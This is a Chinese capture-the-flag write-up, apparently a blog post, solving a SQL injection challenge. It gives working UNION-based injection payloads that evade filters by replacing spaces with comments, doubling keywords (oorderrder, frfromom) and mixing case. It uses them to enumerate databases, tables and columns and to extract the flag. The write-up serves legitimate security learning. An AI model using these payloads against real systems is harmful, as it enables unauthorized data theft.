打开题目,直接受到物理攻击。看到网页左下角提示
于是尝试sql注入,/?id=1;得到回显,/?id=1' ;无回显,判断为数字型注入。
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
尝试查询字段数,经尝试过滤了空格 or ,于是用/**/代替空格 和双写绕过。
?id=1/**/oorderrder/**/by/**/1得到回显
测试为3个字段数,然后查询回显,发现select和union被过滤,发现双写绕过不行,于是尝试大小写绕过
?id=1/**/Union/**/Select/**/1,2,3
发现2,3为回显位,于是查询当前数据库名。
?id=1/**/Union/**/Select/**/1,2,database()
得到数据库名 text
查询表名
?id=1/**/Union/**/Select/**/1,2,group_concat(table_name)/**/frfromom/**/information_schema.tables/**/where/**/table_schema='text'
得到flag,users
获取列名
?id=1/**/uNion/**/Select/**/1,2,group_concat(column_name)/**/frfromom/**/information_schema.columns/**/where/**/table_name=%27flag%27
id,flag
查询字段值
?id=1/**/uNion/**/Select/**/1,2,flag/**/frfromom/**/flag
得到flag
flag{You have successfully!!!}
下次可以尝试直接爆破数据库密码了
![](https://img2020.cnblogs.com/blog/2223805/202011/2223805-20201129130506516-2113274329.jpg)
![](https://img2020.cnblogs.com/blog/2223805/202011/2223805-20201129130239317-122806457.png)